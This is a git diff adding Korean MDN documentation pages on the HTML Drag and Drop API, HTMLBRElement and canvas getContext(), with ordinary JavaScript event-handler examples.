{{event("dragenter")}} and {{event("dragover")}} 두 이벤트 모두에서 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하는 것은 그 위치에 드랍이 허용되는 것을 나타냅니다. 하지만, 일반적으로 특정한 상황에서만, 예를 들자면 링크가 드래그될 때만 {{domxref("Event.preventDefault","preventDefault()")}} 메서드를 호출하길 원할 것입니다. 이렇게 하기 위해서는 조건을 확인하여 조건이 충족될 때에만 해당 이벤트를 취소하는 함수를 호출합니다. 조건이 충족되지 않을 경우, 이벤트를 취소하지 않으면 사용자가 마우스 버튼을 놓더라도 드랍은 발생하지 않을 것입니다.

+ +

data transfer의 드래그 데이터 형식에 따라 드랍을 허용하거나 기각하는 경우가 대부분일 것입니다(예를 들어, 이미지나 링크를 허용하거나 둘 다 허용하는 경우). 이렇게 하기 위해서는 이벤트의 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 속성의 {{domxref("DataTransfer.types","types")}} 속성을 확인합니다. {{domxref("DataTransfer.types","types")}} 속성은 드래그가 시작될 때 추가된 형식 문자열의 배열을 반환하는데, 그 순서는 가장 세부적인 형식에서 가장 덜 세부적인 형식의 순서입니다.

+ +
function contains(list, value) {
+    for( var i = 0; i < list.length; ++i ) {
+        if(list[i] === value) return true;
+    }
+    return false;
+}
+
+function doDragOver(event) {
+  var isLink = contains( event.dataTransfer.types, "text/uri-list");
+  if (isLink) {
+    event.preventDefault();
+  }
+}
+ +

이 예제에서 형식 목록 내에 text/uri-list 형식이 존재하는지 확인하기 위해 contains 메서드를사용합니다. 존재할 경우에는 드랍을 허용하기 위해 이벤트가 취소될 것입니다. 드래그 데이터가 링크를 포함하지 않았다면, 해당 이벤트는 취소되지 않을 것이고 그 위치에 대한 드랍이 발생하지 않을 것입니다.

+ +

수행되어야 하는 작업 형식을 더 세부적으로 설정하길 원한다면, {{domxref("DataTransfer.effectAllowed","effectAllowed")}}나 {{domxref("DataTransfer.dropEffect","dropEffect")}} 속성을 각각 설정하거나 동시에 둘 다를 설정하고 싶을 것입니다. 두 속성을 변경하더라도 해당 이벤트를 취소하지 않으면 아무런 영향이 없을 것입니다.

+ +

Updates to DataTransfer.types

+ +

최신 스펙에는 {{domxref("DataTransfer.types")}}이 {{domxref("DOMStringList")}}(이 속성은 Fiirefox 52 이상에서 지원됨)이 아닌 {{domxref("DOMString")}} 형식의 고정배열(fronzen array)을 반환하도록 명시하고 있음에 유의하시기 바랍니다.

+ +

그 결과로, contains 메서드는 해당 속성에 대해 더 이상 동작하지 않으며; 특정 형식의 데이터가 제공되는지 확인하기 위해서는 다음 코드와 같이 includes 메서드를 사용해야 합니다:

+ +
if ([...event.dataTransfer.types].includes('text/html')) {
+  // Do something
+}
+ +

일부 특성 검출(feature detection)을 이용해 types에 대해 어떤 메서드가 지원되는지를 판별하고 적절하게 코드를 실행할 수 있습니다.

+ +

Drop Feedback

+ +

There are several ways in which you can indicate to the user that a drop is allowed at a certain location. The mouse pointer will update as necessary depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property. Although the exact appearance depends on the user's platform, typically a plus sign icon will appear for a 'copy' for example, and a 'cannot drop here' icon will appear when a drop is not allowed. This mouse pointer feedback is sufficient in many cases.

+ +

However, you can also update the user interface with an insertion point or highlight as needed. For simple highlighting, you can use the -moz-drag-over CSS pseudoclass on a drop target.

+ +
.droparea:-moz-drag-over {
+  border: 1px solid black;
+}
+
+ +

In this example, the element with the class droparea will receive a 1 pixel black border while it is a valid drop target, that is, if the {{domxref("Event.preventDefault","preventDefault()")}} method was called during the {{event("dragenter")}} event. Note that you must cancel the {{event("dragenter")}} event for this pseudoclass to apply, as this state is not checked for the {{event("dragover")}} event.

+ +

For more complex visual effects, you can also perform other operations during the {{event("dragenter")}} event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an image or separator element, for example, and simply insert it into the document during the {{event("dragenter")}} event.

+ +

The {{event("dragover")}} event will fire at the element the mouse is pointing at. Naturally, you may need to move the insertion marker around a {{event("dragover")}} event as well. You can use the event's {{domxref("MouseEvent.clientX","clientX")}} and {{domxref("MouseEvent.clientY","clientY")}} properties as with other mouse events to determine the location of the mouse pointer.

+ +

Finally, the {{event("dragleave")}} event will fire at an element when the drag leaves the element. This is the time when you should remove any insertion markers or highlighting. You do not need to cancel this event. Any highlighting or other visual effects specified using the -moz-drag-over pseudoclass will be removed automatically. The {{event("dragleave")}} event will always fire, even if the drag is cancelled, so you can always ensure that any insertion point cleanup can be done during this event.

+ +

Performing a Drop

+ +

When the user releases the mouse, the drag and drop operation ends. If the mouse was released over an element that is a valid drop target, that is, one that cancelled the last {{event("dragenter")}} or {{event("dragover")}} event, and then the drop will be successful, and a {{event("drop")}} event will fire at the target. Otherwise, the drag operation is cancelled, and no {{event("drop")}} event is fired.

+ +

During the {{event("drop")}} event, you should retrieve that data that was dropped from the event and insert it at the drop location. You can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine which drag operation was desired.

+ +

As with all drag-related events, the event's {{domxref("DataTransfer","dataTransfer")}} property will hold the data that is being dragged. The {{domxref("DataTransfer.getData","getData()")}} method may be used to retrieve the data again.

+ +
function onDrop(event) {
+  var data = event.dataTransfer.getData("text/plain");
+  event.target.textContent = data;
+  event.preventDefault();
+}
+
+ +

The {{domxref("DataTransfer.getData","getData()")}} method takes one argument, the type of data to retrieve. It will return the string value that was set when {{domxref("DataTransfer.setData","setData()")}} was called at the beginning of the drag operation. An empty string will be returned if data of that type does not exist. Naturally, though, you would likely know that the right type of data was available, as it was previously checked during a {{event("dragover")}} event.

+ +

In the example here, once we have retrieved the data, we insert the string as the textual content of the target. This has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element.

+ +

In a web page, you should call the {{domxref("Event.preventDefault","preventDefault()")}} method of the event if you have accepted the drop so that the default browser handling does not handle the dropped data as well. For example, when a link is dragged to a web page, Firefox will open the link. By cancelling the event, this behavior will be prevented.

+ +

You can retrieve other types of data as well. If the data is a link, it should have the type text/uri-list. You could then insert a link into the content.

+ +
function doDrop(event) {
+  var lines = event.dataTransfer.getData("text/uri-list").split("\n");
+  for (let line of lines) {
+    if (line.startsWith("#"))
+      continue;
+
+    let link = document.createElement("a");
+    link.href = line;
+    link.textContent = line;
+    event.target.appendChild(link);
+  }
+  event.preventDefault();
+}
+
+ +

This example inserts a link from the dragged data. As you might be able to guess from the name, the text/uri-list type actually may contain a list of URLs, each on a separate line. In this code, we use the split to split the string into lines, then iterate over the list of lines, inserting each as a link into the document. Note also that we skip links starting with a number sign (#) as these are comments.

+ +

For simple cases, you can use the special type URL just to retrieve the first valid URL in the list. For example:

+ +
var link = event.dataTransfer.getData("URL");
+
+ +

This eliminates the need to check for comments or iterate through lines yourself; however, it is limited to only the first URL in the list.

+ +

The URL type is a special type used only as a shorthand, and it does not appear within the list of types specified in the {{domxref("DataTransfer.types","types")}} property.

+ +

Sometimes you may support some different formats, and you want to retrieve the data that is most specific that is supported. In this example, three formats are supported by a drop target.

+ +

The following example returns the data associated with the best-supported format:

+ +
function doDrop(event) {
+  var types = event.dataTransfer.types;
+  var supportedTypes = ["application/x-moz-file", "text/uri-list", "text/plain"];
+  types = supportedTypes.filter((value) => types.includes(value));
+  if (types.length)
+    var data = event.dataTransfer.getData(types[0]);
+  event.preventDefault();
+}
+
+ +

This method relies on JavaScript functionality available in Firefox 3. However, the code could be adjusted to support other platforms.

+ +

Finishing a Drag

+ +

Once the drag is complete, a {{event("dragend")}} event is fired at the source of the drag (the same element that received the {{event("dragstart")}} event). This event will fire if the drag was successful[1] or if it was cancelled. However, you can use the {{domxref("DataTransfer.dropEffect","dropEffect")}} property to determine what drop operation occurred.

+ +

If the {{domxref("DataTransfer.dropEffect","dropEffect")}} property has the value none during a {{event("dragend")}}, then the drag was cancelled. Otherwise, the effect specifies which operation was performed. The source can use this information after a move operation to remove the dragged item from the old location. The {{domxref("DataTransfer.mozUserCancelled","mozUserCancelled")}} property will be set to true if the user cancelled the drag (by pressing Escape), and false if the drag was cancelled for other reasons such as an invalid drop target, or if it was successful.

+ +

A drop can occur inside the same window or over another application. The {{event("dragend")}} event will always fire regardless. The event's {{domxref("MouseEvent.screenX","screenX")}} and {{domxref("MouseEvent.screenY","screenY")}} properties will be set to the screen coordinate where the drop occurred.

+ +

After the {{event("dragend")}} event has finished propagating, the drag and drop operation is complete.

+ +

[1] In Gecko, {{event("dragend")}} is not dispatched if the source node is moved or removed during the drag (e.g. on drop or {{event("dragover")}}).  bug 460801

+ +

See also

+ + diff --git "a/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" new file mode 100644 index 0000000000..70a4295284 --- /dev/null +++ "b/files/ko/web/api/html_\353\223\234\353\236\230\352\267\270_\354\225\244_\353\223\234\353\241\255_api/index.html" @@ -0,0 +1,303 @@ +--- +title: HTML 드래그 앤 드롭 API +slug: Web/API/HTML_드래그_앤_드롭_API +tags: + - HTML5 + - XUL + - 가이드 + - 개요 + - 고급 + - 드래그 앤 드롭 + - 이벤트 +translation_of: Web/API/HTML_Drag_and_Drop_API +--- +

{{DefaultAPISidebar("HTML 드래그 앤 드롭 API")}}

+ +

HTML 드래그 앤 드롭 인터페이스는 파이어폭스와 다른 브라우저에서 어플리케이션이 드래그 앤 드롭 기능을 사용하게 해줍니다. 이 기능을 이용해 사용자는 draggable 요소를 마우스로 선택해 droppable 요소로 드래그하고, 마우스 버튼에서 손을 뗌으로써 요소를 드롭할 수 있습니다. 드래그하는 동안 draggable 요소는 반투명한 채로 마우스 포인터를 따라다닙니다.

+ +

웹 사이트나 확장 기능, XUL 어플리케이션을 위해, 다양한 요소를 draggable 요소로 만들 수 있고, 이벤트에 대한 draggable 요소의 반응들을 만들어내거나 droppable 요소를 자유자재로 만들 수 있습니다.

+ +

이 문서는 HTML 드래그 앤 드롭에 대한 전반적인 개요입니다. 인터페이스에 대한 설명과 드래그 앤 드롭 기능을 어플리케이션에서 사용하기 위한 기본적인 절차, 인터페이스의 상호 운용성에 대한 요약 등이 이 문서에 담겨있습니다.

+ +

드래그 이벤트

+ +

HTML 드래그 앤 드롭은 {{domxref("Event","DOM event model")}} 과 {{domxref("DragEvent","drag events")}}   {{domxref("MouseEvent","mouse events")}} 로부터 상속받습니다. 보통 드래그는 사용자가 draggable 요소를 마우스로 선택하고, 마우스 포인터를 droppable 요소로 가져가 마우스 버튼을 때는 것으로 이루어집니다. 드래그하는 도중에 많은 이벤트가 발생하고, 몇몇 이벤트는 여러번 발생하기도 합니다. ( {{event("drag")}}와 {{event("dragover")}}).

+ +

모든 드래그 이벤트글로벌 이벤트 핸들러와 연결되어 있습니다. 각 드래그 이벤트와 드래그 전역 속성은 참조 문서를 가지고 있습니다. 아래 표는 각 이벤트에 대한 간략한 설명과 참조 문서로의 링크를 담고 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이벤트이벤트 핸들러설명
{{domxref('Document/drag_이벤트', 'drag')}}{{domxref('GlobalEventHandlers.ondrag','ondrag')}}요소나 텍스트 블록을 드래그 할 때 발생한다.
{{event('dragend')}}{{domxref('GlobalEventHandlers.ondragend','ondragend')}} +

드래그를 끝냈을 때 발생한다. (마우스 버튼을 떼거나 ESC 키를 누를 때) (드래그 끝내기를 보시오)

+
{{event('dragenter')}}{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}} +

드래그한 요소나 텍스트 블록을 적합한 드롭 대상위에 올라갔을 때 발생한다. (드롭 대상 지정하기를 보시오.)

+
{{event('dragexit')}}{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}} +

요소가 더 이상 드래그의 직접적인 대상이 아닐 때 발생한다.

+
{{event('dragleave')}}{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}} +

드래그하는 요소나 텍스트 블록이 적합한 드롭 대상에서 벗어났을 때 발생한다.

+
{{event('dragover')}}{{domxref('GlobalEventHandlers.ondragover','ondragover')}} +

요소나 텍스트 블록을 적합한 드롭 대상 위로 지나갈 때 발생한다. (매 수백 밀리초마다 발생한다.)

+
{{event('dragstart')}}{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}} +

사용자가 요소나 텍스트 블록을 드래그하기 시작했을 때 발생한다. (드래그 시작하기를 보시오.)

+
{{event('drop')}}{{domxref('GlobalEventHandlers.ondrop','ondrop')}} +

요소나 텍스트 블록을 적합한 드롭 대상에 드롭했을 때 발생한다. (드롭하기를 보시오.)

+
+ +

참고: dragstartdragend 이벤트는 파일을 브라우저로 드래그할 때는 발생하지 않습니다.

+ +

인터페이스

+ +

HTML 드래그와 드롭 인터페이스는 {{domxref("DragEvent")}}, {{domxref("DataTransfer")}}, {{domxref("DataTransferItem")}}, {{domxref("DataTransferItemList")}} 입니다.

+ +

{{domxref("DataTransfer")}} 객체는 드래그 형태나 드래그 데이터 (하나 이상의 아이템), 각 드래그 아이템의 종류 (MIME 종류) 와 같은 드래그 이벤트의 상태를 담고 있습니다. {{domxref("DataTransfer")}} 는 또한 드래그 데이터에 아이템을 추가하거나 제거하는 메소드를 가지고 있습니다. The {{domxref("DragEvent")}} 와 {{domxref("DataTransfer")}} 인터페이스만 있으면 어플리케이션에 HTML 드래그 앤 드롭 기능을 추가할 수 있습니다. 참고로 파이어폭스는 {{domxref("DataTransfer")}}에 {{anch("Gecko specific interfaces","Gecko-specific extensions")}} 와 같은 파이어폭스에서만 동작하는 추가적인 확장을 제공합니다. 

+ +

{{domxref("DataTransfer")}}는 {{domxref("DataTransferItem")}}의 {{domxref("DataTransferItemList","목록")}} 인 {{domxref("DataTransfer.items","items")}} 프로퍼티를 가지고 있습니다. 각 {{domxref("DataTransferItem")}} 는 하나의 드래그 아이템을 나타내고 각 아이템은 데이터의 종류 (string 혹은 file) 를 나타내는 {{domxref("DataTransferItem.kind","kind")}} 프로퍼티와 데이터 아이템의 종류 (MIME 종류) 를 나타내는 {{domxref("DataTransferItem.type","type")}} 프로퍼티를 가집니다. {{domxref("DataTransferItem")}}은 드래그 아이템의 데이터를 가져오는 메소드를 제공합니다.

+ +

{{domxref("DataTransferItemList")}} 객체는 {{domxref("DataTransferItem")}}의 리스트입니다. 이 리스트 객체는 세 개의 메소드 - 드래그 아이템을 리스트에 추가하거나, 리스트에서 아이템을 삭제하거나, 모든 드래그 아이템을 리스트에서 삭제하는 메소드 - 를 가집니다.

+ +

A key difference between the {{domxref("DataTransfer")}} and {{domxref("DataTransferItem")}} interfaces is that the former uses the synchronous {{domxref("DataTransfer.getData","getData()")}} method to access a drag item's data, whereas the later uses the asynchronous {{domxref("DataTransferItem.getAsString","getAsString()")}} method to access a drag item's data.

+ +

{{domxref("DataTransfer")}}와 {{domxref("DataTransferItem")}}의 가장 중요한 차이점은 전자는 드래그 아이템의 데이터에 접근하기 위해 동기 메소드인 {{domxref("DataTransfer.getData","getData()")}}를 사용하는데 반해, 후자는 비동기 메소드인 {{domxref("DataTransferItem.getAsString","getAsString()")}}를 사용한다는 점입니다.

+ +

참고: {{domxref("DragEvent")}} and {{domxref("DataTransfer")}}는 여러 데스크탑 브라우저에서 폭넓게 지원하고 있습니다. 하지만 {{domxref("DataTransferItem")}}와 {{domxref("DataTransferItemList")}}는 제한적으로 사용 가능합니다. 드래그 앤 드롭의 상호 운용성에 대한 더 많은 정보를 찾아보기 위해 {{anch("Interoperability")}}를 보십시오.

+ +

Gecko 한정 인터페이스

+ +

모질라와 파이어폭스는 표준 드래그 앤 드롭 모델에서 제공하지 않는 몇가지 기능들을 추가로 제공합니다. 여러 개의 아이템을 동시에 드래그하거나 파일과 같이 문자열이 아닌 데이터를 드래그 하기 위한 여러 편리한 기능을 제공합니다. 더 많은 정보를 찾아보기 위해, Dragging and Dropping Multiple Items을 보십시오. 덧붙여, 모든 Gecko 한정 프로퍼티나 Gecko 한정 메소드를 찾아보기 위해 {{domxref("DataTransfer")}} 참조 페이지도 보시기 바랍니다.

+ +

기본

+ +

이번 절은 드래그 앤 드롭 기능을 추가하기 위한 기본적인 방법을 요약하고 있습니다. 각 절은 단계를 설명하고, 짧은 코드 예제와 추가적인 정보를 위한 링크를 포함합니다.

+ +

어떤 것이 draggable인지 확인하기

+ +

하나의 요소를 draggable로 만들기 위해서는 {{htmlattrxref("draggable")}}와 {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} 전역 이벤트 핸들러를 아래 예제 코드와 같이 추가해야합니다.

+ +
function dragstart_handler(ev) {
+ console.log("dragStart");
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+}
+
+
+ +
<script>
+  function dragstart_handler(ev) {
+    // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+    ev.dataTransfer.setData("text/plain", ev.target.id);
+  }
+
+  window.addEventListener('DOMContentLoaded', () => {
+    // id를 통해 element를 가져옵니다.
+    const element = document.getElementById("p1");
+    // 'dragstart' 이벤트 리스터를 추가합니다.
+    element.addEventListener("dragstart", dragstart_handler);
+  });
+</script>
+
+<p id="p1" draggable="true">This element is draggable.</p>
+ +

추가 정보를 위해 draggable attribute referenceDrag operations guide를 참고하세요.

+ +

드래그 데이터 정의하기

+ +

드래그할 때 자유롭게 데이터 아이템을 포함할 수 있습니다. 각 데이터 아이템은 특정 type의 {{domxref("DOMString","문자열")}}이며, 보통 text/html와 같은 MIME type입니다.

+ +

각 {{domxref("DragEvent","drag event")}} 은 이벤트 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 를 가집니다. 이 프로퍼티는 ({{domxref("DataTransfer")}} 객체) 드래그 데이터를 관리하는 메소드를 가집니다. {{domxref("DataTransfer.setData","setData()")}} 는 아래 코드 예제와 같이 아이템을 드래그 데이터에 추가할 때 사용합니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 데이터를 추가합니다.
+  ev.dataTransfer.setData("text/plain", ev.target.id);
+  ev.dataTransfer.setData("text/html", "<p>Example paragraph</p>");
+  ev.dataTransfer.setData("text/uri-list", "http://developer.mozilla.org");
+}
+
+ +

드래그 앤 드롭에 사용할 수 있는 공통 데이터 타입 (텍스트, HTML, 링크, 파일 등) 의 목록을 보려면, Recommended Drag Types를 참고하십시오. 드래그 데이터에 대한 추가적인 정보를 위해서는 Drag Data를 참고하십시오.

+ +

드래그 이미지 정의하기

+ +

브라우저는 드래그 하는 동안 마우스 포인터 옆에 나타나는 이미지를 기본적으로 제공합니다. 어플리케이션에서 다른 이미지를 사용하기 원한다면 아래 예제와 같이 {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 사용할 수 있습니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 이미지로 사용할 이미지를 만듭니다.
+  // 참고: "example.gif"를 존재하는 이미지로 바꾸지 않으면 기본 드래그 이미지를 사용합니다.
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+
+ +

드래그 이미지에 대해 더 알아보려면, Setting the Drag Feedback Image를 참고하세요.

+ +

드래그 효과 정의하기

+ +

{{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티는 드래그 앤 드롭 도중에 사용자에게 피드백 (보통 시각적인) 을 제공하기 위해 사용합니다. 브라우저가 드래그 하는 동안 어떤 마우스 포인터를 보여줄 지 결정합니다. 사용자가 마우스 포인터를 대상 드롭 요소에 올려놓으면, 브라우저는 드래그 효과에 적합한 마우스 포인터를 보여줄 것입니다.

+ +

세 개의 효과가 정의되어 있습니다:

+ +

copy는 현재 위치에서 드롭하는 위치로 데이터가 복사될 것을 암시합니다.

+ +

move는 현재 위치에서 드롭하는 위치로 데이터가 이동할 것을 암시합니다.

+ +

link는 드래그하는 위치와 드롭하는 위치 간의 일종의 관계나 연결이 맺어진 다는 것을 암시합니다.

+ +

특정 위치에서는 특정 효과가 허용된다는 것을 알려주기 위해 드래그 하는 도중에 효과가 변할 수 있습니다. 허용되는 경우에만 해당 위치에 드롭할 수 있습니다.

+ +

다음 예제는 어떻게 이 프로퍼티를 사용하는지 보여줍니다.

+ +
function dragstart_handler(ev) {
+  // 드래그 효과를 copy로 지정합니다.
+  ev.dataTransfer.dropEffect = "copy";
+}
+
+ +

더 자세한 설명은 Drag Effects를 참고하세요.

+ +

드롭 지역 정의하기

+ +

기본적으로는 브라우저는 HTML 요소에 뭔가를 드롭했을 때 아무 일도 일어나지 않도록 합니다. 특정 요소가 드롭 지역 혹은 droppable로 만들기 위해서는 해당 요소가 {{domxref("GlobalEventHandlers.ondragover","ondragover")}}와 {{domxref("GlobalEventHandlers.ondrop","ondrop")}} 이벤트 핸들러 속성을 가져야합니다. 아래 예제는 두 요소를 어떻게 사용하고, 각 요소에 포함된 기본적인 이벤트 핸들러를 보여줍니다.

+ +
<script>
+function dragover_handler(ev) {
+ ev.preventDefault();
+ // dropEffect를 move로 설정.
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 대상 DOM에 움직인 요소를 추가합니다.
+ const data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</p>
+ +

각 핸들러는 {{domxref("Event.preventDefault","preventDefault()")}} 를 호출해 추가적인 이벤트 (터치 이벤트나 포인터 이벤트) 가 일어나지 않도록 합니다.

+ +

추가적인 정보는, Specifying Drop Targets를 참고하세요.

+ +

드롭 효과 다루기

+ +

{{event("drop")}} 이벤트 핸들러는 자유롭게 드래그 데이터를 가공할 수 있습니다. 보통, 드래그 아이템과 각 아이템을 가공하기 위해 {{domxref("DataTransfer.getData","getData()")}}를 사용합니다. 추가로, {{domxref("DataTransfer.dropEffect","dropEffect")}} 값이나 보조키 상태에 따라 어플리케이션이 어떻게 동작할지를 결정할 수 있습니다.

+ +

아래 예제는 드롭 핸들러가 드래그 데이터로부터 드래그하는 요소의 id를 가져와 드래그하는 요소를 드롭하는 요소로 옮기기위해 사용합니다.

+ +
<script>
+function dragstart_handler(ev) {
+ // 데이터 전달 객체에 대상 요소의 id를 추가합니다.
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // 대상의 id를 가져와 이동한 대상 DOM 요소를 추가합니다.
+ // Get the id of the target and add the moved element to the target's DOM
+ const data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+</script>
+
+<p id="p1" draggable="true" ondragstart="dragstart_handler(event)">This element is draggable.</p>
+<div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">Drop Zone</div>
+ +

더 많은 정보를 위해 Performing a Drop을 보십시오.

+ +

드래그가 끝나면

+ +

드래그가 끝나면 드래그한 요소에 {{event("dragend")}} 이벤트가 발생합니다. 이 이벤트는 드래그가 완료되거나 중간에 취소되어도 발생합니다. {{event("dragend")}} 이벤트 핸들러는 {{domxref("DataTransfer.dropEffect","dropEffect")}} 프로퍼티를 확인해 드래그가 성공했는지를 확인할 수 있습니다.

+ +

드래그 끝을 다루기 위한 더 많은 정보는 Finishing a Drag를 참고하세요. 

+ +

상호 운용성

+ +

DataTransferItem interface's Browser Compatibility table에 나온 대로, 드래그 앤 드롭은 상대적으로 여러 데스크톱 브라우저에서 폭넓게 사용할 수 있습니다 ({{domxref("DataTransferItem")}}는 {{domxref("DataTransferItemList")}} 덜 지원하지만). 또한 모바일 브라우저에서는 매우 한정적으로 사용할 수 있습니다.

+ +

예제와 데모

+ + + +

명세서 

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dnd")}}{{Spec2('HTML WHATWG')}}
+ +

더보기

+ + diff --git a/files/ko/web/api/htmlbrelement/index.html b/files/ko/web/api/htmlbrelement/index.html new file mode 100644 index 0000000000..85cbe5d72b --- /dev/null +++ b/files/ko/web/api/htmlbrelement/index.html @@ -0,0 +1,64 @@ +--- +title: HTMLBRElement +slug: Web/API/HTMLBRElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLBRElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLBRElement 인터페이스는 HTML 줄바꿈 요소({{htmlelement("br")}})를 나타냅니다. {{domxref("HTMLElement")}}를 상속합니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

속성

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLBRElement.clear")}} {{obsolete_inline}}
+
떠있는 요소 주변 텍스트의 흐름을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlbrelement", "HTMLBRElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "textlevel-semantics.html#the-br-element", "HTMLBRElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.HTMLBRElement")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlcanvaselement/getcontext/index.html b/files/ko/web/api/htmlcanvaselement/getcontext/index.html new file mode 100644 index 0000000000..89a54a2c1d --- /dev/null +++ b/files/ko/web/api/htmlcanvaselement/getcontext/index.html @@ -0,0 +1,144 @@ +--- +title: HTMLCanvasElement.getContext() +slug: Web/API/HTMLCanvasElement/getContext +tags: + - API + - Canvas + - HTMLCanvasElement + - 레퍼런스 + - 메소드 +translation_of: Web/API/HTMLCanvasElement/getContext +--- +
{{APIRef("Canvas API")}}
+ +

HTMLCanvasElement.getContext() 메소드는 캔버스의 드로잉 컨텍스트를 반환합니다. 컨텍스트 식별자가 지원되지 않을 경우 {{jsxref("null")}}을 반환합니다.

+ +

동일한 캔버스 엘리먼트에서 나중에 이 메소드를 호출하면 동일한 contextType 인자와 함께 메소드가 마지막으로 호출되었을 때 반환된 것과 같이 동일한 드로잉 컨텍스트 인스턴스를 반환합니다. 다른 드로잉 컨텍스트 객체를 얻으려면 다른 contextType을 전달하거나 다른 캔버스 엘리먼트에서 메소드를 호출해야 합니다.

+ +

구문

+ +
var ctx = canvas.getContext(contextType);
+var ctx = canvas.getContext(contextType, contextAttributes);
+
+ +

파라미터

+ +
+
contextType
+
캔버스에 연관된 드로잉 컨텍스트를 정의하는 컨텍스트 식별자를 갖는 {{domxref("DOMString")}}입니다. 가능한 값은 다음과 같습니다. +
    +
  • "2d", 2차원 렌더링 컨텍스트를 나타내는 {{domxref("CanvasRenderingContext2D")}} 객체를 생성하게 합니다.
  • +
  • "webgl" (또는 "experimental-webgl"), 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGLRenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 1 (OpenGL ES 2.0)을 구현하는 브라우저에서만 사용가능합니다.
  • +
  • "webgl2", 3차원 렌더링 컨텍스트를 나타내는 {{domxref("WebGL2RenderingContext")}} 객체를 생성합니다. 이 컨텍스트는 WebGL 버전 2 (OpenGL ES 3.0)를 구현하는 브라우저에서만 사용가능합니다. {{experimental_inline}}
  • +
  • "bitmaprenderer", 캔버스의 컨텐츠를 주어진 {{domxref("ImageBitmap")}}으로 대체하기위한 기능만을 제공하는 {{domxref("ImageBitmapRenderingContext")}}를 생성합니다.
  • +
+ +
+

노트: 식별자 "experimental-webgl"은 WebGL의 새로운 구현에서 사용됩니다. 이러한 구현은 테스트 스위트 적합성을 아직 만족하지 못하며, 플랫폼 상의 그래픽 드라이버도 아직 불안정합니다. Khronos Group은 특정 적합성 규칙에 따라 WebGL 구현을 인증합니다.

+
+
+
contextAttributes
+
+

렌더링 컨텍스트를 생성할 때 몇 가지 컨텍스트 속성을 사용할 수 있습니다. 예를 들면:

+ +
const gl = canvas.getContext('webgl', {
+  antialias: false,
+  depth: false
+});
+ 2d 컨텍스트 속성: + +
    +
  • alpha: 캔버스가 알파 채널을 포함하는지를 나타내는 불리언입니다. false로 설정할 경우, 브라우저는 이제 배경이 항상 투명하다는 것을 알기때문에 투명한 컨텐츠나 이미지를 그리는 속도를 높일수 있습니다.
  • +
  • {{non-standard_inline}} (Gecko 전용) willReadFrequently: 많은 다시 읽기 작업이 계획되어있는지 여부를 나타내는 불리언입니다. 이는 소프트웨어(하드웨어 가속 대신) 2D 캔버스의 사용을 강제하며 {{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} 호출이 빈번할때 메모리를 절약할 수 있습니다. 이 옵션은 gfx.canvas.willReadFrequently.enable 플래그가 true(기본 값이며, B2G/Firefox OS에만 해당) 설정되었을 경우에만 사용가능합니다.
  • +
  • {{non-standard_inline}} (Blink only) storage: 어떤 스토리지가 사용되었는지를 나타내는 문자열입니다(기본값은 "persistent").
  • +
+ WebGL 컨텍스트 속성: + +
    +
  • alpha: 캔버스가 알파 버퍼를 포함하는지 여부를 나타내는 불리언입니다.
  • +
  • antialias: 안티 앨리어싱을 수행할지 여부를 나타내는 불리언입니다.
  • +
  • depth: 드로잉 버퍼가 최소 16 비트의 깊이 버퍼를 갖는지 여부를 나타내는 불리언입니다.
  • +
